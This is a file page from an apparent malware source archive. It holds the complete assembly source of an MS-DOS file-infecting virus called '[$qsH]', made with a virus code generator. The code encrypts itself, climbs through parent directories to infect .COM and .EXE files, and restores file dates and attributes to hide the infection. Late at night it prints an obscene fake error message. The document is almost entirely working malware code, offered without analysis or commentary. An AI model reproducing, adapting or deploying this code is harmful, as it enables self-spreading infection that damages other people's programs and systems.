MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.squish.asm
2021-01-12 17:58:25 -06:00

376 lines
14 KiB
NASM
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; squish.asm : [$qsH] by FâŽNkä¤
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'AI' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp al,5 ; Check date of week
jae time
time:
mov ah,2ch ; Get current time
int 21h
cmp ch,23 ; Check the hour
jae activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the
; screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal
; font, man.
int 10h ; Hey man, call the interrupt.
mov ah,09h ; Use DOS to print fake error
; message
mov dx,offset fake_msg
int 21h
mov ah,4ch ; Lets ditch.
int 21h ; "Make it so."
jmp exit_virus
creator db '[MPC]',0 ; Mass Produced Code Generator
virusname db '[$qsH]',0
author db 'FâŽNkä¤$Å',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,3230 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
fake_msg db "Fuck you, I'm on strike! $"
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point